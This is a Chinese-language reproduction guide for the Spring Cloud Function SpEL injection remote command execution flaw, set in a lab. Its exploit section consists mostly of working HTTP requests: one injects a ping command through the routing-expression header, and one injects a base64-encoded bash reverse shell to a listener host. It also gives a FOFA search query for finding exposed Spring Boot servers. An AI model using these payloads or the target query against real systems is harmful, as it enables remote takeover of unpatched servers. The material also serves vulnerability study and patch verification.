Spring Cloud Function SPEL 远程命令执行漏洞

0x01 漏洞描述

Spring Cloud Function 是基于Spring Boot 的函数计算框架,通过对传输细节和基础架构进行抽象,为开发人员保留熟悉的开发工具和开发流程,使开发人员专注在实现业务逻辑上,从而提升开发效率。

访问Spring Cloud Function的 HTTP请求头中存在 spring.cloud.function.routing-expression参数,其 SpEL表达式可进行注入攻击,并通过 StandardEvaluationContext解析执行。最终,攻击者可通过该漏洞进行远程命令执行。

0x02 影响范围

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 
注:部分版本进行特定配置的动态路才会受该漏洞影响!

0x03 FOFA语法

app="vmware-SpringBoot-framework"

0x04 漏洞搭建

docker run -d --name spring-cloud-functio -p 801:8080 --restart=always vulfocus/spring-cloud-function-rce

0x05 漏洞复现

验证漏洞

构造SpEL 注入 payload

POST /functionRouter HTTP/1.1
Host: 10.108.0.52:801
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping -c 1 10.108.0.53")
Content-Length: 13

rec test1


image-20220327135219839

这里使用tcpdump监听icmp流量,也可以使用dnslog

tcpdump -nn -i ens192 icmp

image-20220327135453041

反弹shell

POST /functionRouter HTTP/1.1
Host: 10.108.0.52:801
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMDguMC41My85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Length: 13

rec test1


image.png

image.png

0x06 参考文章

https://mp.weixin.qq.com/s/U7YJ3FttuWSOgCodVSqemg